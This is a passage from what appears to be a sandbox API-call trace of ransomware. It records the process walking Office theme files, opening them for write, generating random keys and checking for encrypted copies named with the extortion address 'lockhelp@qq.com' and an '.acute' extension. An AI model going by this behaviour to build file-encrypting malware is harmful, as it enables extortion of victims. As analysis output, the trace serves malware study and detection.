files\\microsoft shared\\themes14\\compass\\compass.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.009] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.051] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=480) returned 1 [0274.051] CloseHandle (hObject=0x37c) returned 1 [0274.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf")) returned 0x20 [0274.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.051] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.051] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=66016) returned 1 [0274.051] CloseHandle (hObject=0x37c) returned 1 [0274.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm")) returned 0x20 [0274.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.052] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.052] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=487) returned 1 [0274.052] CloseHandle (hObject=0x37c) returned 1 [0274.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf")) returned 0x20 [0274.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.052] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.053] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=73271) returned 1 [0274.053] CloseHandle (hObject=0x37c) returned 1 [0274.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm")) returned 0x20 [0274.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.053] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.054] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=613) returned 1 [0274.054] CloseHandle (hObject=0x37c) returned 1 [0274.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf")) returned 0x20 [0274.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.054] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.058] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=103279) returned 1 [0274.058] CloseHandle (hObject=0x30c) returned 1 [0274.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm")) returned 0x20 [0274.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.059] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.059] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=456) returned 1 [0274.059] CloseHandle (hObject=0x30c) returned 1 [0274.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf")) returned 0x20 [0274.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.059] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.060] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=82237) returned 1 [0274.060] CloseHandle (hObject=0x30c) returned 1 [0274.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm")) returned 0x20 [0274.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.060] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.060] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=444) returned 1 [0274.060] CloseHandle (hObject=0x30c) returned 1 [0274.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf")) returned 0x20 [0274.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.061] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.061] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=85056) returned 1 [0274.061] CloseHandle (hObject=0x30c) returned 1 [0274.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm")) returned 0x20 [0274.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.061] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.062] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=500) returned 1 [0274.062] CloseHandle (hObject=0x30c) returned 1 [0274.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf")) returned 0x20 [0274.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.063] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.063] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=54687) returned 1 [0274.063] CloseHandle (hObject=0x30c) returned 1 [0274.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm")) returned 0x20 [0274.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.064] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.064] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=484) returned 1 [0274.064] CloseHandle (hObject=0x30c) returned 1 [0274.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf")) returned 0x20 [0274.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.064] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.065] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=68337) returned 1 [0274.065] CloseHandle (hObject=0x30c) returned 1 [0274.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm")) returned 0x20 [0274.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.065] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.066] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=466) returned 1 [0274.066] CloseHandle (hObject=0x30c) returned 1 [0274.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf")) returned 0x20 [0274.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.066] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.066] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=57906) returned 1 [0274.066] CloseHandle (hObject=0x30c) returned 1 [0274.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm")) returned 0x20 [0274.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.067] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" 